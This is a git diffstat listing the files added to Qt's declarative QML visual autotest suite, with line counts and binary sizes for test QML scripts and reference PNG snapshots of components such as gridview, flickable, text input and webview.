.../qmlvisual/focusscope/data-X11/test.3.png | Bin 0 -> 11500 bytes .../qmlvisual/focusscope/data-X11/test.4.png | Bin 0 -> 11500 bytes .../qmlvisual/focusscope/data-X11/test.5.png | Bin 0 -> 11500 bytes .../qmlvisual/focusscope/data-X11/test.qml | 1599 +++++ .../qmlvisual/focusscope/data-X11/test2.0.png | Bin 0 -> 4656 bytes .../qmlvisual/focusscope/data-X11/test2.1.png | Bin 0 -> 4656 bytes .../qmlvisual/focusscope/data-X11/test2.qml | 607 ++ .../qmlvisual/focusscope/data-X11/test3.0.png | Bin 0 -> 10093 bytes .../qmlvisual/focusscope/data-X11/test3.1.png | Bin 0 -> 10051 bytes .../qmlvisual/focusscope/data-X11/test3.2.png | Bin 0 -> 9812 bytes .../qmlvisual/focusscope/data-X11/test3.3.png | Bin 0 -> 9625 bytes .../qmlvisual/focusscope/data-X11/test3.4.png | Bin 0 -> 9458 bytes .../qmlvisual/focusscope/data-X11/test3.5.png | Bin 0 -> 9645 bytes .../qmlvisual/focusscope/data-X11/test3.6.png | Bin 0 -> 9812 bytes .../qmlvisual/focusscope/data-X11/test3.7.png | Bin 0 -> 10051 bytes .../qmlvisual/focusscope/data-X11/test3.8.png | Bin 0 -> 10087 bytes .../qmlvisual/focusscope/data-X11/test3.9.png | Bin 0 -> 10072 bytes .../qmlvisual/focusscope/data-X11/test3.qml | 2879 ++++++++ .../qmlvisual/focusscope/data/test.0.png | Bin 0 -> 14836 bytes .../qmlvisual/focusscope/data/test.1.png | Bin 0 -> 14836 bytes .../qmlvisual/focusscope/data/test.2.png | Bin 0 -> 14821 bytes .../qmlvisual/focusscope/data/test.3.png | Bin 0 -> 14833 bytes .../qmlvisual/focusscope/data/test.4.png | Bin 0 -> 14833 bytes .../qmlvisual/focusscope/data/test.5.png | Bin 0 -> 14833 bytes .../declarative/qmlvisual/focusscope/data/test.qml | 1599 +++++ .../qmlvisual/focusscope/data/test2.0.png | Bin 0 -> 5359 bytes .../qmlvisual/focusscope/data/test2.1.png | Bin 0 -> 5359 bytes .../qmlvisual/focusscope/data/test2.qml | 607 ++ .../qmlvisual/focusscope/data/test3.0.png | Bin 0 -> 12616 bytes .../qmlvisual/focusscope/data/test3.1.png | Bin 0 -> 12538 bytes .../qmlvisual/focusscope/data/test3.2.png | Bin 0 -> 12257 bytes .../qmlvisual/focusscope/data/test3.3.png | Bin 0 -> 12035 bytes .../qmlvisual/focusscope/data/test3.4.png | Bin 0 -> 11877 bytes .../qmlvisual/focusscope/data/test3.5.png | Bin 0 -> 12046 bytes .../qmlvisual/focusscope/data/test3.6.png | Bin 0 -> 12257 bytes .../qmlvisual/focusscope/data/test3.7.png | Bin 0 -> 12538 bytes .../qmlvisual/focusscope/data/test3.8.png | Bin 0 -> 12616 bytes .../qmlvisual/focusscope/data/test3.9.png | Bin 0 -> 12581 bytes .../qmlvisual/focusscope/data/test3.qml | 2879 ++++++++ .../auto/declarative/qmlvisual/focusscope/test.qml | 76 + .../declarative/qmlvisual/focusscope/test2.qml | 40 + .../declarative/qmlvisual/focusscope/test3.qml | 52 + .../qdeclarativeborderimage/animated-smooth.qml | 55 + .../qmlvisual/qdeclarativeborderimage/animated.qml | 55 + .../qmlvisual/qdeclarativeborderimage/borders.qml | 18 + .../content/MyBorderImage.qml | 38 + .../qdeclarativeborderimage/content/bw.png | Bin 0 -> 1357 bytes .../content/colors-round.sci | 7 + .../content/colors-stretch.sci | 5 + .../qdeclarativeborderimage/content/colors.png | Bin 0 -> 1655 bytes .../data/animated-smooth.0.png | Bin 0 -> 61731 bytes .../data/animated-smooth.1.png | Bin 0 -> 98912 bytes .../data/animated-smooth.2.png | Bin 0 -> 48780 bytes .../data/animated-smooth.3.png | Bin 0 -> 32431 bytes .../data/animated-smooth.4.png | Bin 0 -> 35835 bytes .../data/animated-smooth.5.png | Bin 0 -> 79428 bytes .../data/animated-smooth.6.png | Bin 0 -> 45928 bytes .../data/animated-smooth.qml | 1823 +++++ .../qdeclarativeborderimage/data/animated.0.png | Bin 0 -> 23684 bytes .../qdeclarativeborderimage/data/animated.1.png | Bin 0 -> 29115 bytes .../qdeclarativeborderimage/data/animated.2.png | Bin 0 -> 27580 bytes .../qdeclarativeborderimage/data/animated.3.png | Bin 0 -> 14822 bytes .../qdeclarativeborderimage/data/animated.4.png | Bin 0 -> 21356 bytes .../qdeclarativeborderimage/data/animated.5.png | Bin 0 -> 31143 bytes .../qdeclarativeborderimage/data/animated.6.png | Bin 0 -> 26468 bytes .../qdeclarativeborderimage/data/animated.7.png | Bin 0 -> 16225 bytes .../qdeclarativeborderimage/data/animated.qml | 2091 ++++++ .../qdeclarativeborderimage/data/borders.0.png | Bin 0 -> 23029 bytes .../qdeclarativeborderimage/data/borders.1.png | Bin 0 -> 23029 bytes .../qdeclarativeborderimage/data/borders.2.png | Bin 0 -> 23029 bytes .../qdeclarativeborderimage/data/borders.3.png | Bin 0 -> 23029 bytes .../qdeclarativeborderimage/data/borders.4.png | Bin 0 -> 23029 bytes .../qdeclarativeborderimage/data/borders.qml | 1359 ++++ .../qdeclarativeeasefollow/data/easefollow.0.png | Bin 0 -> 1305 bytes .../qdeclarativeeasefollow/data/easefollow.1.png | Bin 0 -> 1306 bytes .../qdeclarativeeasefollow/data/easefollow.2.png | Bin 0 -> 1305 bytes .../qdeclarativeeasefollow/data/easefollow.3.png | Bin 0 -> 1303 bytes .../qdeclarativeeasefollow/data/easefollow.4.png | Bin 0 -> 1303 bytes .../qdeclarativeeasefollow/data/easefollow.5.png | Bin 0 -> 1305 bytes .../qdeclarativeeasefollow/data/easefollow.6.png | Bin 0 -> 1306 bytes .../qdeclarativeeasefollow/data/easefollow.qml | 1807 +++++ .../qdeclarativeeasefollow/easefollow.qml | 40 + .../data/flickable-horizontal.0.png | Bin 0 -> 1427 bytes .../data/flickable-horizontal.1.png | Bin 0 -> 1357 bytes .../data/flickable-horizontal.2.png | Bin 0 -> 1405 bytes .../data/flickable-horizontal.3.png | Bin 0 -> 1427 bytes .../data/flickable-horizontal.qml | 1199 ++++ .../data/flickable-vertical.0.png | Bin 0 -> 1951 bytes .../data/flickable-vertical.1.png | Bin 0 -> 1951 bytes .../data/flickable-vertical.10.png | Bin 0 -> 1952 bytes .../data/flickable-vertical.11.png | Bin 0 -> 1930 bytes .../data/flickable-vertical.12.png | Bin 0 -> 1974 bytes .../data/flickable-vertical.13.png | Bin 0 -> 1961 bytes .../data/flickable-vertical.14.png | Bin 0 -> 1959 bytes .../data/flickable-vertical.15.png | Bin 0 -> 1937 bytes .../data/flickable-vertical.16.png | Bin 0 -> 1618 bytes .../data/flickable-vertical.17.png | Bin 0 -> 1952 bytes .../data/flickable-vertical.18.png | Bin 0 -> 1952 bytes .../data/flickable-vertical.19.png | Bin 0 -> 1930 bytes .../data/flickable-vertical.2.png | Bin 0 -> 1976 bytes .../data/flickable-vertical.20.png | Bin 0 -> 1930 bytes .../data/flickable-vertical.21.png | Bin 0 -> 1947 bytes .../data/flickable-vertical.22.png | Bin 0 -> 1941 bytes .../data/flickable-vertical.23.png | Bin 0 -> 1951 bytes .../data/flickable-vertical.24.png | 0 .../data/flickable-vertical.3.png | Bin 0 -> 1987 bytes .../data/flickable-vertical.4.png | Bin 0 -> 1947 bytes .../data/flickable-vertical.5.png | Bin 0 -> 1975 bytes .../data/flickable-vertical.6.png | Bin 0 -> 1928 bytes .../data/flickable-vertical.7.png | Bin 0 -> 1928 bytes .../data/flickable-vertical.8.png | Bin 0 -> 1928 bytes .../data/flickable-vertical.9.png | Bin 0 -> 1928 bytes .../data/flickable-vertical.qml | 7037 ++++++++++++++++++++ .../qdeclarativeflickable/flickable-horizontal.qml | 37 + .../qdeclarativeflickable/flickable-vertical.qml | 91 + .../qdeclarativeflipable/data/test-flipable.0.png | Bin 0 -> 1090 bytes .../qdeclarativeflipable/data/test-flipable.1.png | Bin 0 -> 1134 bytes .../qdeclarativeflipable/data/test-flipable.2.png | Bin 0 -> 961 bytes .../qdeclarativeflipable/data/test-flipable.3.png | Bin 0 -> 1076 bytes .../qdeclarativeflipable/data/test-flipable.4.png | Bin 0 -> 1134 bytes .../qdeclarativeflipable/data/test-flipable.5.png | Bin 0 -> 969 bytes .../qdeclarativeflipable/data/test-flipable.qml | 1623 +++++ .../qdeclarativeflipable/test-flipable.qml | 79 + .../qdeclarativegridview/data/gridview.0.png | Bin 0 -> 1303 bytes .../qdeclarativegridview/data/gridview.1.png | Bin 0 -> 1317 bytes .../qdeclarativegridview/data/gridview.2.png | Bin 0 -> 1318 bytes .../qdeclarativegridview/data/gridview.3.png | Bin 0 -> 1306 bytes .../qdeclarativegridview/data/gridview.4.png | Bin 0 -> 1308 bytes .../qdeclarativegridview/data/gridview.5.png | Bin 0 -> 1303 bytes .../qdeclarativegridview/data/gridview.6.png | Bin 0 -> 1323 bytes .../qdeclarativegridview/data/gridview.7.png | Bin 0 -> 1325 bytes .../qdeclarativegridview/data/gridview.8.png | Bin 0 -> 1346 bytes .../qdeclarativegridview/data/gridview.9.png | Bin 0 -> 1303 bytes .../qdeclarativegridview/data/gridview.qml | 2859 ++++++++ .../qdeclarativegridview/data/gridview2.0.png | Bin 0 -> 1310 bytes .../qdeclarativegridview/data/gridview2.1.png | Bin 0 -> 1322 bytes .../qdeclarativegridview/data/gridview2.10.png | Bin 0 -> 1313 bytes .../qdeclarativegridview/data/gridview2.2.png | Bin 0 -> 1341 bytes .../qdeclarativegridview/data/gridview2.3.png | Bin 0 -> 1368 bytes .../qdeclarativegridview/data/gridview2.4.png | Bin 0 -> 1319 bytes .../qdeclarativegridview/data/gridview2.5.png | Bin 0 -> 1352 bytes .../qdeclarativegridview/data/gridview2.6.png | Bin 0 -> 1309 bytes .../qdeclarativegridview/data/gridview2.7.png | Bin 0 -> 1347 bytes .../qdeclarativegridview/data/gridview2.8.png | Bin 0 -> 1310 bytes .../qdeclarativegridview/data/gridview2.9.png | Bin 0 -> 1354 bytes .../qdeclarativegridview/data/gridview2.qml | 2479 +++++++ .../qmlvisual/qdeclarativegridview/gridview.qml | 51 + .../qmlvisual/qdeclarativegridview/gridview2.qml | 58 + .../qdeclarativemouseregion/data/drag.0.png | Bin 0 -> 1563 bytes .../qdeclarativemouseregion/data/drag.1.png | Bin 0 -> 1570 bytes .../qdeclarativemouseregion/data/drag.2.png | Bin 0 -> 1553 bytes .../qdeclarativemouseregion/data/drag.3.png | Bin 0 -> 1563 bytes .../qdeclarativemouseregion/data/drag.4.png | Bin 0 -> 1569 bytes .../qdeclarativemouseregion/data/drag.5.png | Bin 0 -> 1569 bytes .../qdeclarativemouseregion/data/drag.6.png | Bin 0 -> 1566 bytes .../qdeclarativemouseregion/data/drag.7.png | Bin 0 -> 1566 bytes .../qdeclarativemouseregion/data/drag.8.png | Bin 0 -> 1567 bytes .../qdeclarativemouseregion/data/drag.qml | 5207 +++++++++++++++ .../qdeclarativemouseregion/data/mouseregion.0.png | Bin 0 -> 471 bytes .../qdeclarativemouseregion/data/mouseregion.1.png | Bin 0 -> 474 bytes .../data/mouseregion.10.png | Bin 0 -> 479 bytes .../data/mouseregion.11.png | Bin 0 -> 479 bytes .../data/mouseregion.12.png | Bin 0 -> 479 bytes .../data/mouseregion.13.png | Bin 0 -> 479 bytes .../data/mouseregion.14.png | Bin 0 -> 479 bytes .../data/mouseregion.15.png | Bin 0 -> 479 bytes .../data/mouseregion.16.png | Bin 0 -> 1454 bytes .../data/mouseregion.17.png | Bin 0 -> 1454 bytes .../data/mouseregion.18.png | Bin 0 -> 1454 bytes .../data/mouseregion.19.png | Bin 0 -> 1454 bytes .../qdeclarativemouseregion/data/mouseregion.2.png | Bin 0 -> 474 bytes .../data/mouseregion.20.png | Bin 0 -> 1454 bytes .../data/mouseregion.21.png | Bin 0 -> 1454 bytes .../data/mouseregion.22.png | Bin 0 -> 1454 bytes .../qdeclarativemouseregion/data/mouseregion.3.png | Bin 0 -> 474 bytes .../qdeclarativemouseregion/data/mouseregion.4.png | Bin 0 -> 481 bytes .../qdeclarativemouseregion/data/mouseregion.5.png | Bin 0 -> 481 bytes .../qdeclarativemouseregion/data/mouseregion.6.png | Bin 0 -> 481 bytes .../qdeclarativemouseregion/data/mouseregion.7.png | Bin 0 -> 481 bytes .../qdeclarativemouseregion/data/mouseregion.8.png | Bin 0 -> 479 bytes .../qdeclarativemouseregion/data/mouseregion.9.png | Bin 0 -> 479 bytes .../qdeclarativemouseregion/data/mouseregion.qml | 5867 ++++++++++++++++ .../qmlvisual/qdeclarativemouseregion/drag.qml | 21 + .../qdeclarativemouseregion/mouseregion.qml | 124 + .../qdeclarativeparticles/data/particles.0.png | Bin 0 -> 10219 bytes .../qdeclarativeparticles/data/particles.1.png | Bin 0 -> 13469 bytes .../qdeclarativeparticles/data/particles.2.png | Bin 0 -> 14051 bytes .../qdeclarativeparticles/data/particles.qml | 775 +++ .../qmlvisual/qdeclarativeparticles/particles.qml | 54 + .../qmlvisual/qdeclarativeparticles/star.png | Bin 0 -> 262 bytes .../data/test-pathview-2.0.png | Bin 0 -> 2263 bytes .../data/test-pathview-2.1.png | Bin 0 -> 2329 bytes .../data/test-pathview-2.2.png | Bin 0 -> 2279 bytes .../data/test-pathview-2.3.png | Bin 0 -> 2263 bytes .../data/test-pathview-2.4.png | Bin 0 -> 2263 bytes .../data/test-pathview-2.5.png | Bin 0 -> 2308 bytes .../data/test-pathview-2.6.png | Bin 0 -> 2280 bytes .../qdeclarativepathview/data/test-pathview-2.qml | 2303 +++++++ .../qdeclarativepathview/data/test-pathview.0.png | Bin 0 -> 2321 bytes .../qdeclarativepathview/data/test-pathview.1.png | Bin 0 -> 2380 bytes .../qdeclarativepathview/data/test-pathview.2.png | Bin 0 -> 2315 bytes .../qdeclarativepathview/data/test-pathview.3.png | Bin 0 -> 2372 bytes .../qdeclarativepathview/data/test-pathview.4.png | Bin 0 -> 2327 bytes .../qdeclarativepathview/data/test-pathview.qml | 1495 +++++ .../qdeclarativepathview/test-pathview-2.qml | 62 + .../qdeclarativepathview/test-pathview.qml | 62 + .../qdeclarativepositioners/data/dynamic.0.png | Bin 0 -> 1429 bytes .../qdeclarativepositioners/data/dynamic.1.png | Bin 0 -> 1433 bytes .../qdeclarativepositioners/data/dynamic.2.png | Bin 0 -> 1431 bytes .../qdeclarativepositioners/data/dynamic.3.png | Bin 0 -> 1428 bytes .../qdeclarativepositioners/data/dynamic.4.png | Bin 0 -> 1432 bytes .../qdeclarativepositioners/data/dynamic.5.png | Bin 0 -> 1434 bytes .../qdeclarativepositioners/data/dynamic.qml | 1603 +++++ .../qdeclarativepositioners/data/repeater.0.png | Bin 0 -> 2790 bytes .../qdeclarativepositioners/data/repeater.qml | 339 + .../qmlvisual/qdeclarativepositioners/dynamic.qml | 65 + .../qmlvisual/qdeclarativepositioners/repeater.qml | 15 + .../qmlvisual/qdeclarativespringfollow/clock.qml | 64 + .../content/background.png | Bin 0 -> 46895 bytes .../qdeclarativespringfollow/content/center.png | Bin 0 -> 765 bytes .../qdeclarativespringfollow/content/clock.png | Bin 0 -> 20653 bytes .../qdeclarativespringfollow/content/hour.png | Bin 0 -> 625 bytes .../qdeclarativespringfollow/content/minute.png | Bin 0 -> 625 bytes .../qdeclarativespringfollow/content/second.png | Bin 0 -> 303 bytes .../qdeclarativespringfollow/data/clock.0.png | Bin 0 -> 17294 bytes .../qdeclarativespringfollow/data/clock.1.png | Bin 0 -> 17394 bytes .../qdeclarativespringfollow/data/clock.2.png | Bin 0 -> 17524 bytes .../qdeclarativespringfollow/data/clock.3.png | Bin 0 -> 17572 bytes .../qdeclarativespringfollow/data/clock.qml | 1135 ++++ .../qdeclarativespringfollow/data/follow.0.png | Bin 0 -> 959 bytes .../qdeclarativespringfollow/data/follow.1.png | Bin 0 -> 1244 bytes .../qdeclarativespringfollow/data/follow.10.png | Bin 0 -> 1299 bytes .../qdeclarativespringfollow/data/follow.2.png | Bin 0 -> 1224 bytes .../qdeclarativespringfollow/data/follow.3.png | Bin 0 -> 1243 bytes .../qdeclarativespringfollow/data/follow.4.png | Bin 0 -> 1230 bytes .../qdeclarativespringfollow/data/follow.5.png | Bin 0 -> 1231 bytes .../qdeclarativespringfollow/data/follow.6.png | Bin 0 -> 1239 bytes .../qdeclarativespringfollow/data/follow.7.png | Bin 0 -> 1241 bytes .../qdeclarativespringfollow/data/follow.8.png | Bin 0 -> 1237 bytes .../qdeclarativespringfollow/data/follow.9.png | Bin 0 -> 1229 bytes .../qdeclarativespringfollow/data/follow.qml | 1763 +++++ .../qmlvisual/qdeclarativespringfollow/follow.qml | 71 + .../baseline/data-X11/parentanchor.qml | 131 + .../baseline/data/parentanchor.qml | 131 + .../qdeclarativetext/baseline/parentanchor.qml | 14 + .../qdeclarativetext/elide/data-MAC/elide.0.png | Bin 0 -> 2276 bytes .../qdeclarativetext/elide/data-MAC/elide.qml | 279 + .../qdeclarativetext/elide/data-MAC/elide2.0.png | Bin 0 -> 4818 bytes .../qdeclarativetext/elide/data-MAC/elide2.1.png | Bin 0 -> 4089 bytes .../qdeclarativetext/elide/data-MAC/elide2.2.png | Bin 0 -> 3128 bytes .../qdeclarativetext/elide/data-MAC/elide2.3.png | Bin 0 -> 1963 bytes .../qdeclarativetext/elide/data-MAC/elide2.qml | 991 +++ .../elide/data-MAC/multilength.0.png | Bin 0 -> 736 bytes .../elide/data-MAC/multilength.qml | 303 + .../qdeclarativetext/elide/data-X11/elide.0.png | Bin 0 -> 1002 bytes .../qdeclarativetext/elide/data-X11/elide.qml | 279 + .../elide/data-X11/multilength.0.png | Bin 0 -> 596 bytes .../elide/data-X11/multilength.qml | 303 + .../qdeclarativetext/elide/data/elide.0.png | Bin 0 -> 1604 bytes .../qdeclarativetext/elide/data/elide.qml | 279 + .../qdeclarativetext/elide/data/elide2.0.png | Bin 0 -> 4818 bytes .../qdeclarativetext/elide/data/elide2.1.png | Bin 0 -> 4089 bytes .../qdeclarativetext/elide/data/elide2.2.png | Bin 0 -> 3128 bytes .../qdeclarativetext/elide/data/elide2.3.png | Bin 0 -> 1963 bytes .../qdeclarativetext/elide/data/elide2.qml | 991 +++ .../qmlvisual/qdeclarativetext/elide/elide.qml | 31 + .../qmlvisual/qdeclarativetext/elide/elide2.qml | 12 + .../qdeclarativetext/elide/multilength.qml | 19 + .../qdeclarativetext/font/data-MAC/plaintext.0.png | Bin 0 -> 103018 bytes .../qdeclarativetext/font/data-MAC/plaintext.qml | 351 + .../qdeclarativetext/font/data-MAC/richtext.0.png | Bin 0 -> 136492 bytes .../qdeclarativetext/font/data-MAC/richtext.qml | 359 + .../qdeclarativetext/font/data/plaintext.0.png | Bin 0 -> 94120 bytes .../qdeclarativetext/font/data/plaintext.qml | 351 + .../qdeclarativetext/font/data/richtext.0.png | Bin 0 -> 121122 bytes .../qdeclarativetext/font/data/richtext.qml | 359 + .../qmlvisual/qdeclarativetext/font/plaintext.qml | 85 + .../qmlvisual/qdeclarativetext/font/richtext.qml | 85 + .../qdeclarativetextedit/cursorDelegate.qml | 35 + .../data-MAC/cursorDelegate.0.png | Bin 0 -> 793 bytes .../data-MAC/cursorDelegate.1.png | Bin 0 -> 795 bytes .../data-MAC/cursorDelegate.2.png | Bin 0 -> 803 bytes .../data-MAC/cursorDelegate.3.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.4.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.5.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.6.png | Bin 0 -> 799 bytes .../data-MAC/cursorDelegate.7.png | Bin 0 -> 799 bytes .../data-MAC/cursorDelegate.8.png | Bin 0 -> 803 bytes .../data-MAC/cursorDelegate.qml | 3555 ++++++++++ .../qdeclarativetextedit/data-MAC/qt-669.0.png | Bin 0 -> 365 bytes .../qdeclarativetextedit/data-MAC/qt-669.1.png | Bin 0 -> 365 bytes .../qdeclarativetextedit/data-MAC/qt-669.2.png | Bin 0 -> 366 bytes .../qdeclarativetextedit/data-MAC/qt-669.3.png | Bin 0 -> 362 bytes .../qdeclarativetextedit/data-MAC/qt-669.qml | 1371 ++++ .../qdeclarativetextedit/data-X11/wrap.0.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.1.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.2.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.3.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.4.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.5.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.6.png | Bin 0 -> 1110 bytes .../qdeclarativetextedit/data-X11/wrap.qml | 2467 +++++++ .../qdeclarativetextedit/data/cursorDelegate.0.png | Bin 0 -> 3322 bytes .../qdeclarativetextedit/data/cursorDelegate.1.png | Bin 0 -> 3323 bytes .../qdeclarativetextedit/data/cursorDelegate.2.png | Bin 0 -> 3325 bytes .../qdeclarativetextedit/data/cursorDelegate.3.png | Bin 0 -> 3332 bytes .../qdeclarativetextedit/data/cursorDelegate.4.png | Bin 0 -> 3329 bytes .../qdeclarativetextedit/data/cursorDelegate.5.png | Bin 0 -> 3818 bytes .../qdeclarativetextedit/data/cursorDelegate.6.png | Bin 0 -> 3333 bytes .../qdeclarativetextedit/data/cursorDelegate.7.png | Bin 0 -> 3332 bytes .../qdeclarativetextedit/data/cursorDelegate.8.png | Bin 0 -> 3347 bytes .../qdeclarativetextedit/data/cursorDelegate.qml | 3555 ++++++++++ .../qdeclarativetextedit/data/qt-669.0.png | Bin 0 -> 4802 bytes .../qdeclarativetextedit/data/qt-669.1.png | Bin 0 -> 4804 bytes .../qdeclarativetextedit/data/qt-669.2.png | Bin 0 -> 4801 bytes .../qdeclarativetextedit/data/qt-669.3.png | Bin 0 -> 4791 bytes .../qmlvisual/qdeclarativetextedit/data/qt-669.qml | 1371 ++++ .../qmlvisual/qdeclarativetextedit/data/wrap.0.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.1.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.2.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.3.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.4.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.5.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.6.png | Bin 0 -> 1110 bytes .../qmlvisual/qdeclarativetextedit/data/wrap.qml | 2467 +++++++ .../qmlvisual/qdeclarativetextedit/qt-669.qml | 19 + .../qmlvisual/qdeclarativetextedit/wrap.qml | 21 + .../qdeclarativetextinput/cursorDelegate.qml | 35 + .../data-MAC/cursorDelegate.0.png | Bin 0 -> 793 bytes .../data-MAC/cursorDelegate.1.png | Bin 0 -> 796 bytes .../data-MAC/cursorDelegate.2.png | Bin 0 -> 804 bytes .../data-MAC/cursorDelegate.3.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.4.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.5.png | Bin 0 -> 805 bytes .../data-MAC/cursorDelegate.6.png | Bin 0 -> 801 bytes .../data-MAC/cursorDelegate.7.png | Bin 0 -> 802 bytes .../data-MAC/cursorDelegate.8.png | Bin 0 -> 802 bytes .../data-MAC/cursorDelegate.qml | 3379 ++++++++++ .../qdeclarativetextinput/data-X11/echoMode.0.png | Bin 0 -> 999 bytes .../qdeclarativetextinput/data-X11/echoMode.1.png | Bin 0 -> 1880 bytes .../qdeclarativetextinput/data-X11/echoMode.2.png | Bin 0 -> 2962 bytes .../qdeclarativetextinput/data-X11/echoMode.3.png | Bin 0 -> 2827 bytes .../qdeclarativetextinput/data-X11/echoMode.4.png | Bin 0 -> 2827 bytes .../qdeclarativetextinput/data-X11/echoMode.qml | 1043 +++ .../qdeclarativetextinput/data-X11/hAlign.0.png | Bin 0 -> 1245 bytes .../qdeclarativetextinput/data-X11/hAlign.qml | 107 + .../data/cursorDelegate.0.png | Bin 0 -> 3314 bytes .../data/cursorDelegate.1.png | Bin 0 -> 3377 bytes .../data/cursorDelegate.2.png | Bin 0 -> 3323 bytes .../data/cursorDelegate.3.png | Bin 0 -> 3325 bytes .../data/cursorDelegate.4.png | Bin 0 -> 3322 bytes .../data/cursorDelegate.5.png | Bin 0 -> 3322 bytes .../data/cursorDelegate.6.png | Bin 0 -> 3326 bytes .../data/cursorDelegate.7.png | Bin 0 -> 3814 bytes .../data/cursorDelegate.8.png | Bin 0 -> 3324 bytes .../qdeclarativetextinput/data/cursorDelegate.qml | 3379 ++++++++++ .../qdeclarativetextinput/data/echoMode.0.png | Bin 0 -> 999 bytes .../qdeclarativetextinput/data/echoMode.1.png | Bin 0 -> 1880 bytes .../qdeclarativetextinput/data/echoMode.2.png | Bin 0 -> 2962 bytes .../qdeclarativetextinput/data/echoMode.3.png | Bin 0 -> 2827 bytes .../qdeclarativetextinput/data/echoMode.4.png | Bin 0 -> 2827 bytes .../qdeclarativetextinput/data/echoMode.qml | 1043 +++ .../qdeclarativetextinput/data/hAlign.0.png | Bin 0 -> 1245 bytes .../qdeclarativetextinput/data/hAlign.qml | 107 + .../qmlvisual/qdeclarativetextinput/echoMode.qml | 10 + .../qmlvisual/qdeclarativetextinput/hAlign.qml | 39 + .../qmlvisual/qfxwebview/autosize/autosize.qml | 61 + .../qfxwebview/autosize/data-X11/autosize.0.png | Bin 0 -> 6886 bytes .../qfxwebview/autosize/data-X11/autosize.qml | 83 + .../qfxwebview/autosize/data/autosize.0.png | Bin 0 -> 6886 bytes .../qfxwebview/autosize/data/autosize.qml | 83 + .../declarative/qmlvisual/rect/GradientRect.qml | 25 + tests/auto/declarative/qmlvisual/rect/MyRect.qml | 21 + .../qmlvisual/rect/data/rect-painting.0.png | Bin 0 -> 29725 bytes .../qmlvisual/rect/data/rect-painting.qml | 287 + .../declarative/qmlvisual/rect/rect-painting.qml | 55 + .../auto/declarative/qmlvisual/repeater/basic1.qml | 27 + .../auto/declarative/qmlvisual/repeater/basic2.qml | 31 + .../auto/declarative/qmlvisual/repeater/basic3.qml | 29 + .../auto/declarative/qmlvisual/repeater/basic4.qml | 33 + .../qmlvisual/repeater/data-MAC/basic1.0.png | Bin 0 -> 1550 bytes .../qmlvisual/repeater/data-MAC/basic1.qml | 323 + .../qmlvisual/repeater/data-MAC/basic2.0.png | Bin 0 -> 1550 bytes .../qmlvisual/repeater/data-MAC/basic2.qml | 331 + .../qmlvisual/repeater/data-MAC/basic3.0.png | Bin 0 -> 1550 bytes .../qmlvisual/repeater/data-MAC/basic3.qml | 347 + .../qmlvisual/repeater/data-MAC/basic4.0.png | Bin 0 -> 1550 bytes .../qmlvisual/repeater/data-MAC/basic4.qml | 419 ++ .../qmlvisual/repeater/data-X11/basic1.0.png | Bin 0 -> 1354 bytes .../qmlvisual/repeater/data-X11/basic1.qml | 323 + .../qmlvisual/repeater/data-X11/basic2.0.png | Bin 0 -> 1354 bytes .../qmlvisual/repeater/data-X11/basic2.qml | 331 + .../qmlvisual/repeater/data-X11/basic3.0.png | Bin 0 -> 1354 bytes .../qmlvisual/repeater/data-X11/basic3.qml | 347 + .../qmlvisual/repeater/data-X11/basic4.0.png | Bin 0 -> 1354 bytes .../qmlvisual/repeater/data-X11/basic4.qml | 419 ++ .../qmlvisual/repeater/data/basic1.0.png | Bin 0 -> 1513 bytes .../declarative/qmlvisual/repeater/data/basic1.qml | 323 + .../qmlvisual/repeater/data/basic2.0.png | Bin 0 -> 1513 bytes .../declarative/qmlvisual/repeater/data/basic2.qml | 331 + .../qmlvisual/repeater/data/basic3.0.png | Bin 0 -> 1513 bytes .../declarative/qmlvisual/repeater/data/basic3.qml | 347 + .../qmlvisual/repeater/data/basic4.0.png | Bin 0 -> 1513 bytes .../declarative/qmlvisual/repeater/data/basic4.qml | 419 ++ .../selftest_noimages/data/selftest_noimages.qml | 470 ++ .../selftest_noimages/selftest_noimages.qml | 9 + tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp | 370 + .../qmlvisual/webview/embedding/data/nesting.0.png | Bin 0 -> 5659 bytes .../qmlvisual/webview/embedding/data/nesting.qml | 363 + .../qmlvisual/webview/embedding/egg.qml | 26 + .../qmlvisual/webview/embedding/nesting.html | 9 + .../qmlvisual/webview/embedding/nesting.qml | 9 + .../javascript/data/evaluateJavaScript.0.png | Bin 0 -> 7999 bytes .../javascript/data/evaluateJavaScript.1.png | Bin 0 -> 8020 bytes .../javascript/data/evaluateJavaScript.2.png | Bin 0 -> 8143 bytes .../javascript/data/evaluateJavaScript.3.png | Bin 0 -> 8158 bytes .../javascript/data/evaluateJavaScript.4.png | Bin 0 -> 8284 bytes .../javascript/data/evaluateJavaScript.5.png | Bin 0 -> 8284 bytes .../javascript/data/evaluateJavaScript.6.png | Bin 0 -> 8284 bytes .../javascript/data/evaluateJavaScript.7.png | Bin 0 -> 8284 bytes .../javascript/data/evaluateJavaScript.8.png | Bin 0 -> 8284 bytes .../webview/javascript/data/evaluateJavaScript.qml | 3759 +++++++++++ .../webview/javascript/data/windowObjects.0.png | Bin 0 -> 7991 bytes .../webview/javascript/data/windowObjects.1.png | Bin 0 -> 7991 bytes .../webview/javascript/data/windowObjects.2.png | Bin 0 -> 7643 bytes .../webview/javascript/data/windowObjects.3.png | Bin 0 -> 7733 bytes .../webview/javascript/data/windowObjects.4.png | Bin 0 -> 8116 bytes .../webview/javascript/data/windowObjects.qml | 2643 ++++++++ .../webview/javascript/evaluateJavaScript.qml | 32 + 